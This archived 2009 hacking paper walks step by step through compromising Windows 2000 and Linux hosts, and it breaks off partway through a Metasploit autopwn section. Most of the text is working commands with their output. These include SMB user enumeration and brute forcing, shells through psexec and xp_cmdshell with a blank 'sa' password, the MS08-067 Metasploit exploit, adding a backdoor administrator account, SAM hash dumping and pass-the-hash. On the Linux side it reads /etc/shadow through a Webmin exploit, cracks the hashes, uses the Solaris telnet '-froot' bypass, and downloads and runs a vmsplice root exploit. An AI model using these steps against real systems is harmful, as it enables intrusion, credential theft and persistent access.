The Art of Grey-Box Attack

Archived security papers and articles in various languages.

```
                |=-------------------------------------------------------------------=|
                |=-----------------=[ The Art of Grey-Box Attack ]=-------------------=|
                |=--------------------------=[ 4 July 2009 ]=-------------------------=|
                |=----------------------=[  By CWH Underground  ]=--------------------=|
                |=-------------------------------------------------------------------=|


######
 Info
######

Title   : The Art of Grey-Box Attack
Author  : ZeQ3uL  (Prathan Phongthiproek)
          JabAv0C (Wiswat Aswamenakul)
Team    : CWH Underground [www.milw0rm.com/author/1456]
Website : cwh.citec.us / www.citec.us
Date    : 2009-07-04


##########
 Contents
##########

  [0x00] - Introduction

  [0x01] - The Art of Microsoft Windows Attack

        [0x01a] - Scanning & Enumeration
        [0x01b] - Gaining Access
        [0x01c] - Escalating Privilege

  [0x02] - The Art of Unix/Linux Attack

        [0x02a] - Scanning & Enumeration
        [0x02b] - Gaining Access
        [0x02c] - Escalating Privilege
```

```
#######################
 [0x00] - Introduction
#######################
```

Hi all, in this paper, we will guide you about methods to hacking into Windows system and linux system. Moreover, we also show the ways to use popular hacking tools, nmap and metasploit. Those tools are more powerfull than day in the past (We will see it ;D)

We divide the paper into 7 sections from 0x00 to 0x06. However, only section 0x01 to 0x04 are technical issue. Section 0x01, we show the steps to hack into Windows 2000 operating system. Section 0x02, we switch to talk about steps of linux hacking. The next section, 0x03, mentions about automatic exploiting by using metasploit combining with nmap or nessus. The last technical section lets you see examples of exploiting client software in order to get access to a system :-D

```
##############################################
 [0x01] - The Art of Microsoft Windows Attack
##############################################
```

In this section, we talk about attacking Windows machines in network. We will start with scanning and enumeration then we move to gain access to Windows system and, finally, escalating privilege in order to control the machine completely and use the machine to attack other machines in the network.

```
++++++++++++++++++++++++++++++++++
 [0x01a] - Scanning & Enumeration
++++++++++++++++++++++++++++++++++
```

First, start with scanning by using nmap (http://nmap.org) which is the best in our opinion.

New version of nmap improves scanning speed, mappes port with service name and adds custom script feature

which is perfect use for penetration testing.

The first example, We use nmap to scan for openning ports which are the channels to attack the system:

[Nmap Result]----------

```
bt nmap-4.85BETA10 # nmap -sV 192.168.80.129

Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:03 GMT
Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for security and consistency reasons.
set NMAPDIR=. to give priority to files in your local directory (may affect the other data files too).
Interesting ports on 192.168.80.129:
Not shown: 990 closed ports
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS webserver 5.0
135/tcp  open  mstask       Microsoft mstask (task server - c:\winnt\system32\Mstask.exe)
139/tcp  open  netbios-ssn
443/tcp  open  https?
445/tcp  open  microsoft-ds Microsoft Windows 2000 microsoft-ds
1025/tcp open  mstask       Microsoft mstask (task server - c:\winnt\system32\Mstask.exe)
1026/tcp open  msrpc        Microsoft Windows RPC
1027/tcp open  msrpc        Microsoft Windows RPC
1433/tcp open  ms-sql-s     Microsoft SQL Server 2000 8.00.194; RTM
3372/tcp open  msdtc?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port3372-TCP:V=4.85BETA10%I=7%D=7/3%Time=4A4DD777%P=i686-pc-linux-gnu%r
SF:(GetRequest,6,"\x18\xc1\n\0x\x01")%r(RTSPRequest,6,"\x18\xc1\n\0x\x01")
SF:%r(HTTPOptions,6,"\x18\xc1\n\0x\x01")%r(Help,6,"\x18\xc1\n\0x\x01")%r(S
SF:SLSessionReq,6,"\x18\xc1\n\0x\x01")%r(FourOhFourRequest,6,"\x18\xc1\n\0
SF:x\x01")%r(LPDString,6,"\x18\xc1\n\0x\x01")%r(SIPOptions,6,"\x18\xc1\n\0
SF:x\x01");
MAC Address: 00:0C:29:CC:CF:46 (VMware)
Service Info: OS: Windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.68 seconds
```

[End Result]----------

From result, we get a list of opening ports and we know that this system runs IIS, Netbios,

Endpoint Mapper, SMB, MSSQL2000

and the operating system is Windows 2000 (We pick Windows 2000 as the example because we want you to see the big picture of

Windows hacking). The next step is an information gathering from Netbios and SMB. Windows 2000 has "Null Session" vulnerability

(Holygrail of Windows Vulnerability) which allows us to enumerate all accounts in the system including security policies,

local group, file share. We pick nmap to gather the information by using Nmap-script. In the past, We had to connect to the system

through IPC$ (Null Session) then we had run command [net use \\192.168.80.129 "" /u:""] after that we have enumerated the information through

a tool such as Superscan4 or Winfo. Nowadays, Nmap(8.5Beta) can perform those tasks with help of Nmap-script (smb-enum-users, smb-enum-shares,Etc).

[Nmap Result]----------

```
bt nmap-4.85BETA10 # nmap  --script=smb-enum-users 192.168.80.129

Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:21 GMT
Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for security and consistency reasons.
set NMAPDIR=. to give priority to files in your local directory (may affect the other data files too).
Interesting ports on 192.168.80.129:
Not shown: 990 closed ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1433/tcp open  ms-sql-s
3372/tcp open  msdtc
MAC Address: 00:0C:29:CC:CF:46 (VMware)

Host script results:
|  smb-enum-users:
|_ SERVER\Administrator, SERVER\backup, SERVER\epp, SERVER\epp_contractor, SERVER\Guest, SERVER\IUSR_SERVER, SERVER\IWAM_SERVER, SERVER\Jim, SERVER\John, SERVER\mary, SERVER\molly, SERVER\None, SERVER\TsInternetUser

Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
```

[End Result]----------

From Result, We know all user in target system:

- Administrator
- Backup
- epp
- epp_contractor
- Guest
- IUSR_SERVER
- IWAM_SERVER
- Jim
- John
- mary
- molly
- TsInternetUser

The Others techniques is Enumeration from "LDAP Anonymous" and SNMP Default Community string (Public/Private) that we can list all user from target system too.

"LDAP Anonymous" => Using ldapminer

"Default SNMP Community String" => Using snmpwalk

The shared files and folders are also important. If there is no properly permission setting, attack may directly upload malicious files to the system.

[Nmap Result]----------

```
bt nmap-4.85BETA10 # nmap  --script=smb-enum-shares 192.168.80.129

Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:21 GMT
Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for security and consistency reasons.
set NMAPDIR=. to give priority to files in your local directory (may affect the other data files too).
Interesting ports on 192.168.80.129:
Not shown: 990 closed ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1433/tcp open  ms-sql-s
3372/tcp open  msdtc
MAC Address: 00:0C:29:CC:CF:46 (VMware)

Host script results:
|  smb-enum-shares:
```

```
|  Anonymous shares: IPC$
|_ Restricted shares: COVERPG$, Fax$, Inetpub, scripts, ADMIN$, C$

Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds

[End Result]-----------------------------------------------------------------------------
```

From Result, We know all share files:

```
IPC     <<      Anonymous Null Session
COVERPG
Fax
Inetpub
scripts
ADMIN
C
```

Next, We know all users from Null Session so we can bruteforce attack for their users with Nmap-script "smb-brute"

```
[Nmap Result]----------------------------------------------------------------------------

bt nmap-4.85BETA10 # nmap  --script=smb-brute 192.168.80.129

Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:38 GMT
Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for security and consistency reasons.
set NMAPDIR=. to give priority to files in your local directory (may affect the other data files too).
Interesting ports on 192.168.80.129:
Not shown: 990 closed ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1433/tcp open  ms-sql-s
3372/tcp open  msdtc
MAC Address: 00:0C:29:CC:CF:46 (VMware)

Host script results:
|  smb-brute:
|  backup:pukcab => Login was successful
|_ epp:password => Login was successful
```

```
        Nmap done: 1 IP address (1 host up) scanned in 5.93 seconds

        [End Result]--------------------------------------------------------------------------------

                Look at that result, We can brute weak password from users backup and epp.



        ++++++++++++++++++++++++++
         [0x01b] - Gaining Access
        ++++++++++++++++++++++++++


                Now we got 2 account credentials for attack, We choose "epp" that use password "password".
Use psexec (Pstool from sysinternals)
        to spawn command shell back to our.


        [Psexec Result]-----------------------------------------------------------------------------
        C:\>psexec \\192.168.80.129 -u epp -p password -e cmd.exe

        PsExec v1.71 - Execute processes remotely
        Copyright (C) 2001-2006 Mark Russinovich
        Sysinternals - www.sysinternals.com


        Microsoft Windows 2000 [Version 5.00.2195]
        (C) Copyright 1985-2000 Microsoft Corp.

        C:\WINNT\system32>ipconfig

        Windows 2000 IP Configuration

        Ethernet adapter Local Area Connection:

                Connection-specific DNS Suffix  . : localdomain
                IP Address. . . . . . . . . . . . : 192.168.80.129
                Subnet Mask . . . . . . . . . . . : 255.255.255.0
                Default Gateway . . . . . . . . . : 192.168.80.2

        C:\WINNT\system32>net user

        User accounts for \\SERVER

        -------------------------------------------------------------------------------
        Administrator            backup                   epp
        epp_contractor           Guest                    IUSR_SERVER
```

```
IWAM_SERVER              Jim                      John
mary                     molly                    TsInternetUser
The command completed successfully.

[End Result]-------------------------------------------------------------------------------
```

From Result, We can spawn their command shell with epp's privilege (Administrators) then Blah Blah Blah...

The target use MSSQL 2000, we guess they use default username/password for MSSQL 2000 (SA/blank password).So we use osql to spawn command shell with MSSQL stored procedure xp_cmdshell, This stored procedure was gold mines for Hacker that use for interactive command shell. Attacker can use 'osql' to get shell from target.

```
[Osql Result]------------------------------------------------------------------------------
C:\>osql -S 192.168.80.129 -U sa -P "" -Q "exec master..xp_cmdshell 'dir c:\' "
 output

-------------------------------------------------------------------------------

-------------------------------------------------------------------------

-------------------------------------------------------------------------

--------------------------------
  Volume in drive C has no label.

  Volume Serial Number is 50C0-6A72

 NULL

  Directory of c:\

 NULL

 12/03/2004  04:39p                451 dir.txt
 06/04/2004  03:49p      <DIR>          Documents and Settings
 19/03/2009  12:47a      <DIR>          Inetpub
 19/03/2009  12:38a      <DIR>          Program Files
 03/07/2009  04:55p      <DIR>          WINNT
        1 File(s)            451 bytes
        4 Dir(s)   3,053,559,808 bytes free

 NULL

C:\>osql -S 192.168.80.129 -U sa -P "" -Q "exec master..xp_cmdshell 'net user' "
 output
```

```
        ------------------------------------------------------------------------------

        ------------------------------------------------------------------------

        ------------------------------------------------------------------------

        --------------------------------

        ------------------------------------------------------------------------------

        Administrator            backup                   cwh

        epp                      epp_contractor           Guest

        IUSR_SERVER              IWAM_SERVER              Jim

        John                     mary                     molly

        TsInternetUser

                                   or more errors.

        NULL

        NULL

        [End Result]-----------------------------------------------------------------------------------
```

Note: Nmap-script have "ms-sql-info.nse" for scaning machine that use account 'sa' with blank password too.

The Lastest Worm like Conficker/DownADup, Nmap-script can scan for MS08-067 Vulnerability ?? and System Infected Worm ?? with "smb-check-vulns".

```
        [Nmap Result]----------------------------------------------------------------------------------

        bt nmap-4.85BETA10 # nmap  --script=smb-check-vulns 192.168.80.129

        Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:35 GMT
        Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for security and consistency reasons.
        set NMAPDIR=. to give priority to files in your local directory (may affect the other data files too).
        Interesting ports on 192.168.80.129:
        Not shown: 990 closed ports
        PORT     STATE SERVICE
        80/tcp   open  http
        135/tcp  open  msrpc
```

```
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1433/tcp open  ms-sql-s
3372/tcp open  msdtc
MAC Address: 00:0C:29:CC:CF:46 (VMware)

Host script results:
|  smb-check-vulns:
|  MS08-067: VULNERABLE
|_ Conficker: Likely CLEAN

Nmap done: 1 IP address (1 host up) scanned in 1.66 seconds

[End Result]--------------------------------------------------------------------------------

        Now we know target has MS08-067 vulnerability, Then use the G0d of Exploit suite =>
"Metasploit Framework"

[Msf Console]-------------------------------------------------------------------------------

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show targets
msf exploit(ms08_067_netapi) > set TARGET 1
TARGET => 1
msf exploit(ms08_067_netapi) > set PAYLOAD generic/shell_bind_tcp
PAYLOAD => generic/shell_bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.80.129
RHOST => 192.168.80.129
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Triggering the vulnerability...
[*] Command shell session 1 opened (192.168.80.131:51038 -> 192.168.80.129:4444)

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>ipconfig
ipconfig

Windows 2000 IP Configuration

Ethernet adapter Local Area Connection:
```

```
                Connection-specific DNS Suffix  . : localdomain
                IP Address. . . . . . . . . . . . : 192.168.80.129
                Subnet Mask . . . . . . . . . . . : 255.255.255.0
                Default Gateway . . . . . . . . . : 192.168.80.2

        C:\WINNT\system32>net user cwh 1234 /add
        net user cwh 1234 /add
        The command completed successfully.

        C:\WINNT\system32>net localgroup administrators cwh /add
        net localgroup administrators cwh /add
        The command completed successfully.

        C:\WINNT\system32>net user
        net user

        User accounts for \\

        -------------------------------------------------------------------------------
        Administrator            backup                   cwh
        epp                      epp_contractor           Guest
        IUSR_SERVER              IWAM_SERVER              Jim
        John                     mary                     molly
        TsInternetUser
        The command completed with one or more errors.

        [End Msf]---------------------------------------------------------------------------------------

                The Most popular Tools for scanning, enumeration, vulnerability assessment is Nessus
(www.www.nessus.org).That have many features like highspeed discovery.
        configuration audit, sensitive data discovery and vulnerability analysis. The Best thing, It's FREE
!!!


        ++++++++++++++++++++++++++++++++
         [0x01c] - Escalating Privilege
        ++++++++++++++++++++++++++++++++


                The next step to do is Dump SAM file from target that get all hashing. Sure we can use Nmap
!!
        We can read the information in SAM file only when we have administrator's privilege (epp's account
had administrators group)

        [Nmap Result]-----------------------------------------------------------------------------------

        bt nmap-4.85BETA10 # nmap  --script=smb-pwdump --script-args=smbuser=epp,smbpass=password
192.168.80.129
```

```
        Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:50 GMT
        Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for
security and consistency reasons.
        set NMAPDIR=. to give priority to files in your local directory (may affect the other data files
too).
        Interesting ports on 192.168.80.129:
        Not shown: 990 closed ports
        PORT     STATE SERVICE
        80/tcp   open  http
        135/tcp  open  msrpc
        139/tcp  open  netbios-ssn
        443/tcp  open  https
        445/tcp  open  microsoft-ds
        1025/tcp open  NFS-or-IIS
        1026/tcp open  LSA-or-nterm
        1027/tcp open  IIS
        1433/tcp open  ms-sql-s
        3372/tcp open  msdtc
        MAC Address: 00:0C:29:CC:CF:46 (VMware)

        Host script results:
        |  smb-pwdump:
        |  Administrator:1010 => F703F386322B0662E72C57EF50F76A05:C62638B38308E651B21A0F2CCAB3AC9B
        |  backup:1005 => E84F09BA27610849AAD3B435B51404EE:94FF50F81F9885648A05438F63EA9F91
        |  epp:500 => E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C
        |  epp_contractor:1007 => 60F898DDDCAE534EAAD3B435B51404EE:148301D12E96ED2CE24A20C6ED9A2EAF
        |  Guest:501 => A0E150C75A17008EAAD3B435B51404EE:823893ADFAD2CDA6E1A414F3EBDF58F7
        |  IUSR_SERVER:1001 => 0C2A09C60FF052D3518640B5D8EB223A:E9C4226B18D023A932473576E62EB5E9
        |  IWAM_SERVER:1002 => A373B0BEBCEED1FAD95379C32DAD5DEF:803F59A7EA1EA9A65A15310B58A015D3
        |  Jim:1009 => 209CA2D6E74286E9AAD3B435B51404EE:FF623167AECD14984A0A97E4D3989A89
        |  John:1004 => 4B69911850133174AAD3B435B51404EE:D5173C778E0F56D9FC47E3B3C829ACA7
        |  mary:1003 => 879980DE48006E7EAAD3B435B51404EE:BA69764BCCF8F41121E0B3046CE46C67
        |  molly:1008 => 4B69911850133174AAD3B435B51404EE:D5173C778E0F56D9FC47E3B3C829ACA7
        |_ TsInternetUser:1000 => 52FE1A30EB33BA7BE3BB722E78963414:3A07E408DB9CB2331C9C527B0F4A8C52

        Nmap done: 1 IP address (1 host up) scanned in 2.58 seconds

        [End Result]--------------------------------------------------------------------------------
```

Now we got all hash from target system. In the past, Need to crack password by using a tool such as cain or rcrack
with a technique called "rainbow tables" but this action steal sleeping time from us. We can save that time by one of nmap features.
Nmap can try to login to other machines with gathering hashes and list of usernames. We do not need to pre-crack the hashes.

```
        [Nmap Result]-------------------------------------------------------------------------------
```

```
        bt nmap-4.85BETA10 # cat password.txt
        F703F386322B0662E72C57EF50F76A05
        E52CAC67419A9A224A3B108F3FA6CB6D
        209CA2D6E74286E9AAD3B435B51404EE
        bt nmap-4.85BETA10 # nmap  --script=smb-brute --script-
args=userdb=usernames.txt,passdb=password.txt 192.168.80.1/24

        Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:50 GMT
        Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for
security and consistency reasons.
        set NMAPDIR=. to give priority to files in your local directory (may affect the other data files
too).
        Interesting ports on 192.168.80.100:
        PORT     STATE SERVICE
        445/tcp  open  microsoft-ds

        Host script results:
        |  smb-brute:
        |_ Administrator:F703F386322B0662E72C57EF50F76A05 => Login was successful

        Interesting ports on 192.168.80.135:
        PORT     STATE SERVICE
        445/tcp  open  microsoft-ds

        Host script results:
        |  smb-brute:
        |  epp:E52CAC67419A9A224A3B108F3FA6CB6D => Login was successful
        |_ Jim:209CA2D6E74286E9AAD3B435B51404EE => Login was successful


        [End Result]--------------------------------------------------------------------------------


                Now we can compromise other system from network that use the same password (Hashing with
no-crack), Use Passing the Hash with SMB suite (http://foofus.net/jmk/passhash.html)
        to impersonating user without password. I use samba-3.0.22 with patched:

        ./configure --with-smbmount
        patch -p0 <samba-3.0.22-add-user.patch
        patch -p0 <samba-3.0.22-passhash.patch

        [SMB Hash]----------------------------------------------------------------------------------

        bt cwh # export SMBHASH="F703F386322B0662E72C57EF50F76A05:C62638B38308E651B21A0F2CCAB3AC9B"
        bt cwh # ./smbmount //192.168.80.129/c$ /mnt/passhash -o username=administrator
        Password:               << Insert hash from SMBHASH
(F703F386322B0662E72C57EF50F76A05:C62638B38308E651B21A0F2CCAB3AC9B)
```

```
HASH PASS: Substituting user supplied NTLM HASH...
HASH PASS: Substituting user supplied NTLM HASH...
HASH PASS: Substituting user supplied LM HASH...
bt cwh # ls /mnt/passhash/
dir.txt  Documents and Settings  Inetpub  Program Files  WINNT
bt cwh #

[End Result]--------------------------------------------------------------------------------
```

Other tool is pass-the-hash Toolkit (http://oss.coresecurity.com/projects/pshtoolkit.html) to impersonating user without password. The Pass-The-Hash Toolkit contains utilities to manipulate the Windows Logon Sessions
mantained by the LSA (Local Security Authority) component. These tools allow you to list the current logon sessions with its corresponding NTLM credentials (e.g.: users remotely logged in thru Remote Desktop/Terminal Services),
and also change in runtime the current username, domain name, and NTLM hashes (YES, PASS-THE-HASH on Windows!).

We need to compromise one machine for attack other machine that use the same credentials, Now we got their command shell and use "whosthere" for find their credentials.

```
[Victim Result]-----------------------------------------------------------------------------

C:\pshtoolkit_v1.4\whosthere>whosthere
WHOSTHERE v1.4 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies
This tool lists the active LSA logon sessions with NTLM credentials.
(use -h for help).
-B is now used by default. Trying to find correct addresses..Found!.
the output format is: username:domain:lmhash:nthash

cwh:SERVER:00000000000000000000000000000000:8846F7EAEE8FB117AD06BDD830B7586C
Administrator:SERVER2:209CA2D6E74286E9AAD3B435B51404EE:BA69764BCCF8F41121E0B3046CE46C67

C:\pshtoolkit_v1.4\whosthere>cd ..\iam
C:\pshtoolkit_v1.4\iam>iam.exe -r cmd.exe -h Administrator:SERVER2:209CA2D6E74286E9AAD3B435B51404EE:BA69764BCCF8F41121E0B3046CE46C67 -B
IAM v1.4 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies
Parameters:
Username: Administrator
Domainname: SERVER2
LM hash: 209CA2D6E74286E9AAD3B435B51404EE
NT hash: BA69764BCCF8F41121E0B3046CE46C67
Run: cmd.exe
LSASRV.DLL version: 00050001h. A280DC0h
Checking LSASRV.DLL....skipped. (-B was specified).
Trying to obtain addresses...Ok! (AC = 75753BA0, EM = 7573FDEC)
```

The current logon credentials were successful changed!

[End Result]----------

Now we have Administrator credential in the new MS-dos that Maybe can compromise many machine in network !!

##
[0x02] - The Art of Unix/Linux Attack
##

++++++++++++++++++++++++++++++++++
[0x02a] - Scanning & Enumeration
++++++++++++++++++++++++++++++++++

The first thing important before start hacking is gathering as much information as you can. You can use the information to guess password, specific points to attack or anything as you can imagine. Our favourite tool used to scan a target is nmap. We know openning ports and a software version with only one command. We show you below :D

[Nmap Result]----------

```
bt cwh # nmap -sV www.target.com

Starting Nmap 4.76 ( http://nmap.org ) at 2009-07-03 16:38 SE Asia Standard Time

Interesting ports on 192.168.0.111:
Not shown: 987 closed ports
PORT      STATE    SERVICE     VERSION
21/tcp    open     ftp         vsftpd 2.0.6
22/tcp    open     ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
25/tcp    open     smtp        Cisco PIX sanitized smtpd
53/tcp    open     domain      ISC BIND 9.4.2
80/tcp    open     http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.3 mod_ssl/2.2.8
OpenSSL/0.9.8g)
111/tcp   filtered rpcbind
443/tcp   open     http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.3 mod_ssl/2.2.8
OpenSSL/0.9.8g)
554/tcp   filtered rtsp
1720/tcp  filtered H.323/Q.931
2000/tcp  filtered callbook
3306/tcp  open     mysql       MySQL (unauthorized)
5060/tcp  filtered sip
10000/tcp open     http        Webmin httpd
```

```
Service Info: OSs: Unix, Linux; Device: firewall

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.48 seconds

[End Result]-------------------------------------------------------------------------------
```

In the result, you see that this system use Webmin but we do not know the exact version. If we are not an Alzheimer, Webmin used to expose file disclosure vulnerability in version 1.290. We try to search in milw0rm.com and , bingo!!, We find one at http://milw0rm.com/exploits/2017 . It is perl script exploit. So, we download the script and save as 2017.pl then we launch the command ...

```
[Perl Script Result]-----------------------------------------------------------------------

bt cwh # perl 2017.pl www.target.com 10000 http /etc/passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/log:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:/bin/false
news:x:9:13:news:/usr/lib/news:/bin/false
uucp:x:10:14:uucp:/var/spool/uucppublic:/bin/false
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:/bin/false
ftp:x:14:50::/home/ftp:/bin/false
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:/bin/false
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
apache:x:80:80:User for Apache:/srv/httpd:/bin/false
messagebus:x:81:81:User for D-BUS:/var/run/dbus:/bin/false
haldaemon:x:82:82:User for HAL:/var/run/hald:/bin/false
pop:x:90:90:POP:/:/bin/false
nobody:x:99:99:nobody:/:/bin/false
snort:x:1000:102::/home/snort:/bin/false
user1:x:1001:100::/home/user1:

[End Perl Script Result]-------------------------------------------------------------------
```

lol !!! It seems that an admin is an outdated. She do not update or patch her Webmin.

```
++++++++++++++++++++++++++
 [0x02b] - Gaining Access
++++++++++++++++++++++++++
```

As the target is linux server, it is harder than windows server to remotely attack. The most remote exploits affected on linux are from third party software such as ftp, ssh, web server. The ways to access linux server are to exploit third party running services, to get user information from web application vulnerability then do the brute forcing and to do social engineer toward valid user.

In our example case, we highly recommend you to try following command:

```
bt cwh # perl 2017.pl www.target.com 10000 http /etc/shadow
```

This command tries to read /etc/shadow file. If a result seem like below, you are lucky ;D

```
[Perl Script Result]--------------------------------------------------------------------------

root:$1$MKy0eqPM$auerQwMpGYcqgBqDddkfO/:13666:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
apache:*:9797:0:::::
messagebus:*:9797:0:::::
haldaemon:*:9797:0:::::
nobody:*:9797:0:::::
snort:!:13986:0:99999:7:::
user1:$1$RY88JSH8$1A73wdGEerLFulLzzTnHX0:14428:0:99999:7:::

[End Perl Script Result]----------------------------------------------------------------------
```

We put the result in file shadow.txt and then try to crack passwords by using John the Ripper.

(dict.lst is dictionary file)

[John Result]----------

```
bt cwh # john --wordlist=dict.lst shadow.txt
Loaded 2 password hashes with 2 different salts (FreeBSD MD5 [32/32])
user1            (user1)
guesses: 1  time: 0:00:00:00 100%  c/s: 150  trying: abc
```

[End John Result]----------

It means that password of user1 is "user1" and cannot find password for root.
Now, you can login to the target system by using credential information of user1.

After you can find the way into the system, you have to figure the way to escalate
your privilege.

We have another example to show you. It is telnet vulnerability on solaris 10/11.
This vulnerability allows you to login easily with root privilege. We just send
[telnet â€“l "-froot" 192.168.0.112] to telnet deamon on solaris 10/11.

[Telnet bypass]----------

```
bt cwh # telnet â€“l "-froot" 192.168.0.112
Trying 192.168.0.112...
Connected to 192.168.0.112.
Escape character is '^]'.
Last login: Sun Jun 30 02:02:02 from 192.168.0.2
Sun Microsystems Inc.   SunOS 5.10      Generic January 2007
# id
uid=0(root) gid=0(root)
#
```

[End Result]----------

If we use this technique, we do not want to escalate privilege cause we already login
as root privilege.

[0x02c] - Escalating Privilege

In this article, we introduce you to use local root exploit for linux. You can find

```
the exploits from milw0rm.com. the first tasks after access the system are to check
linux kernel version and the user id.

user1@linuxserver:~$ uname -a
Linux linuxserver 2.6.17-10-server #2 SMP Fri Oct 13 18:47:26 UTC 2006 i686 GNU/Linux
user1@linuxserver:~$ id
uid=1001(user1) gid=1001(user1) groups=1001(user1)

As the result of two commands above, we want to escalate our privilege to be root and
we remember that there is an local root exploit for linux 2.6.17 - 2.6.24 on milw0rm.com ;D
we do not hesitate to download the code, compile it and run. The result is shown below ...

user1@linuxserver:~$ wget http://milw0rm.com/exploits/5092
--17:17:21--  http://milw0rm.com/exploits/5092
           => `5092'
Resolving milw0rm.com... 76.74.9.18
Connecting to milw0rm.com|76.74.9.18|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]

    [  <=>                                ] 7,197         11.58K/s

17:17:23 (11.58 KB/s) - `5092' saved [7197]

user1@linuxserver:~$ gcc -o 5092 5092.c
5092.c:289:28: warning: no newline at end of file
user1@linuxserver:~$ ./5092
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e79000 .. 0xb7eab000
[+] root
root@linuxserver:~# id
uid=0(root) gid=0(root) groups=1001(root)

Finally, we are a root of target server. We can do whatever we want. XD
```

##

```
 [0x03] - Metasploit Ninja-Autopwned
####################################

        Metasploit is a tool for exploiting system vulnerabilities but penetration tester need to
find those vulnerabilities first,
        this is a drawback of metasploit. However, the lastest version of metasploit is added a feature
called "Autopwned" which automatically
        exploit vulnerabilities reported from nmap or nessus.
        Note: Metasploit have one features called "Autopwn Metasploit Automated". That can scanning
all network by nmap and Automating exploit.

        ++++++++++++++++++++++++++++++++++++
         [0x03a] - Nmap+Metasploit Autopwned
        ++++++++++++++++++++++++++++++++++++

        [Nmap Result]---------------------------------------------------------------------------------

        bt ~ # nmap -sS 192.168.80.129 -oX nmap.xml

        Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 12:04 GMT
        Interesting ports on 192.168.80.129:
        Not shown: 990 closed ports
        PORT     STATE SERVICE
        80/tcp   open  http
        135/tcp  open  msrpc
        139/tcp  open  netbios-ssn
        443/tcp  open  https
        445/tcp  open  microsoft-ds
        1025/tcp open  NFS-or-IIS
        1026/tcp open  LSA-or-nterm
        1027/tcp open  IIS
        1433/tcp open  ms-sql-s
        3372/tcp open  msdtc
        MAC Address: 00:0C:29:CC:CF:46 (VMware)

